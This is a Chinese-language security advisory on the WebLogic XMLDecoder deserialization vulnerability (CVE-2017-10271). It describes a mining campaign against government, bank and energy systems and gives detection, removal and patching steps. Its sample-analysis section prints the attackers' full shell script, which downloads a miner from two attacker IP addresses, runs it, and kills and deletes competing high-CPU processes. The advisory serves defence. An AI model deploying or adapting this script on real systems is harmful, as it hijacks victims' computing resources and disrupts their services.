警惕丨WebLogic漏洞攻击集中爆发,部委、能源、银行等政企用户需格外留意
字数 1493 2025-08-18 11:38:37

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)分析与防御指南

漏洞概述

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)是Oracle WebLogic Server中的一个严重安全漏洞,首次发现于2017年9月。该漏洞允许攻击者在未授权的情况下远程执行任意代码,完全控制受影响系统。

攻击事件分析

近期攻击特征

  • 攻击目标:主要针对部委、银行、能源等关键基础设施的政企用户
  • 攻击方式:利用漏洞获取系统权限后下载并执行门罗币(XMR)矿机程序
  • 攻击升级:相比2017年的挖矿攻击,此次攻击会强制终止占用CPU高的非矿机进程,导致业务中断

攻击流程

  1. IP扫描阶段:攻击者在互联网上扫描存在CVE-2017-10271漏洞的WebLogic服务器
  2. 漏洞利用阶段:对筛选出的目标IP发动攻击,利用漏洞获取命令执行权限
  3. 恶意负载植入:成功利用漏洞后,从指定位置下载适合目标系统的挖矿工具(XMRig)
  4. 资源抢占:挖矿程序启动后,强制终止占用CPU超过60%的非矿机进程

漏洞技术分析

漏洞原理

该漏洞存在于WebLogic Server的wls-wsat组件中,由于XMLDecoder反序列化过程中未对用户输入进行充分验证,导致攻击者可以构造恶意的XML请求来执行任意命令。

攻击样本分析

攻击者使用的主要脚本功能模块:

#!/bin/sh
sPid=
$$

mPid=''
mName='java'

# 检查操作系统命令可用性
checkCmd() {
    command -v $1 >/dev/null 2>&1
}

# 提供多种下载方式(wget/curl/python/socket)
downloader () {
    if checkCmd wget; then
        wget $1 -O $2
    elif checkCmd curl; then
        curl $1 -o $2
    elif checkCmd python; then
        if [ "`python -c "import sys;print(sys.version_info[0]3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    else
        cat < /dev/tcp/165.227.215.25/5555 > $2
    fi
    chmod +x $2
}

# 终止高CPU占用进程
killer() {
    for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
        if [ $tmpVar = $sPid ]; then continue fi
        if [ $tmpVar = $mPid ]; then continue fi
        if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then continue fi
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then continue fi
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then continue fi
            kill -9 $tmpVar
            rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*->//g'`
        fi
    done
}

# 运行矿机程序
runer() {
    if [ -z "$mPid" ]; then
        if [ ! -f $mName ]; then
            downloader http://165.227.215.25/java $mName
        fi
        chmod +x ./$mName
        ./$mName
    fi
    mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

# 主执行流程
pkill python; pkill perl; pkill $mName
downloader http://45.77.245.237/java $mName
runer
killer

# 持续监控
while true; do
    sleep 10
    if ps -p $mPid > /dev/null; then
        killer
    else
        mPid=''
        runer
    fi
done

检测方法

手动检测

  1. 检查WebLogic日志中是否包含可疑的wls-wsat请求
  2. 搜索HTTP访问日志中状态码非500的wls-wsat相关请求
  3. 检查服务器上是否存在异常的"java"进程或高CPU占用进程

使用专业工具检测

在中睿天下"睿眼"攻击溯源系统中:

  1. 进入【威胁分析】->【全局分析】
  2. 搜索参数填写:*wls-wsal*wls-
  3. HTTP状态码筛选:!500 (排除状态码为500的请求)

应急处置措施

临时缓解方案

  1. 删除易受攻击的组件
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
  1. 重启WebLogic服务或系统
  2. 验证漏洞是否修复:访问http://ip:port/wls-wsat/CoordinatorPortType11应返回404

永久修复方案

  1. 应用官方补丁
    • 官方补丁地址:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
    • 根据WebLogic版本下载对应的补丁程序

长期防御建议

  1. 持续监控

    • 在安全设备中添加已知攻击者IP到黑名单
    • 监控所有服务器与可疑IP的连接记录
  2. 安全加固

    • 定期更新WebLogic安全补丁
    • 限制WebLogic管理端口的互联网访问
    • 启用WebLogic的安全审计功能
  3. 应急响应准备

    • 建立漏洞应急响应机制
    • 准备WebLogic服务的回滚方案

参考资源

  1. Oracle官方补丁页面:http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
  2. Oracle社区关于CVE-2017-10271的讨论:https://community.oracle.com/thread/4109711
  3. 中睿天下应急响应联系方式:4008-232-911

总结

CVE-2017-10271漏洞目前处于集中爆发期,攻击者不仅利用该漏洞进行加密货币挖矿,还会破坏正常业务进程。政企用户特别是部委、银行、能源等关键行业需高度重视,立即采取防护措施,防止系统被入侵造成业务中断和数据泄露。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)分析与防御指南 漏洞概述 WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)是Oracle WebLogic Server中的一个严重安全漏洞,首次发现于2017年9月。该漏洞允许攻击者在未授权的情况下远程执行任意代码,完全控制受影响系统。 攻击事件分析 近期攻击特征 攻击目标 :主要针对部委、银行、能源等关键基础设施的政企用户 攻击方式 :利用漏洞获取系统权限后下载并执行门罗币(XMR)矿机程序 攻击升级 :相比2017年的挖矿攻击,此次攻击会强制终止占用CPU高的非矿机进程,导致业务中断 攻击流程 IP扫描阶段 :攻击者在互联网上扫描存在CVE-2017-10271漏洞的WebLogic服务器 漏洞利用阶段 :对筛选出的目标IP发动攻击,利用漏洞获取命令执行权限 恶意负载植入 :成功利用漏洞后,从指定位置下载适合目标系统的挖矿工具(XMRig) 资源抢占 :挖矿程序启动后,强制终止占用CPU超过60%的非矿机进程 漏洞技术分析 漏洞原理 该漏洞存在于WebLogic Server的wls-wsat组件中,由于XMLDecoder反序列化过程中未对用户输入进行充分验证,导致攻击者可以构造恶意的XML请求来执行任意命令。 攻击样本分析 攻击者使用的主要脚本功能模块: 检测方法 手动检测 检查WebLogic日志中是否包含可疑的wls-wsat请求 搜索HTTP访问日志中状态码非500的wls-wsat相关请求 检查服务器上是否存在异常的"java"进程或高CPU占用进程 使用专业工具检测 在中睿天下"睿眼"攻击溯源系统中: 进入【威胁分析】->【全局分析】 搜索参数填写: *wls-wsal* 或 wls- HTTP状态码筛选: !500 (排除状态码为500的请求) 应急处置措施 临时缓解方案 删除易受攻击的组件 : 重启WebLogic服务或系统 验证漏洞是否修复:访问 http://ip:port/wls-wsat/CoordinatorPortType11 应返回404 永久修复方案 应用官方补丁 : 官方补丁地址:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html 根据WebLogic版本下载对应的补丁程序 长期防御建议 持续监控 : 在安全设备中添加已知攻击者IP到黑名单 监控所有服务器与可疑IP的连接记录 安全加固 : 定期更新WebLogic安全补丁 限制WebLogic管理端口的互联网访问 启用WebLogic的安全审计功能 应急响应准备 : 建立漏洞应急响应机制 准备WebLogic服务的回滚方案 参考资源 Oracle官方补丁页面:http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html Oracle社区关于CVE-2017-10271的讨论:https://community.oracle.com/thread/4109711 中睿天下应急响应联系方式:4008-232-911 总结 CVE-2017-10271漏洞目前处于集中爆发期,攻击者不仅利用该漏洞进行加密货币挖矿,还会破坏正常业务进程。政企用户特别是部委、银行、能源等关键行业需高度重视,立即采取防护措施,防止系统被入侵造成业务中断和数据泄露。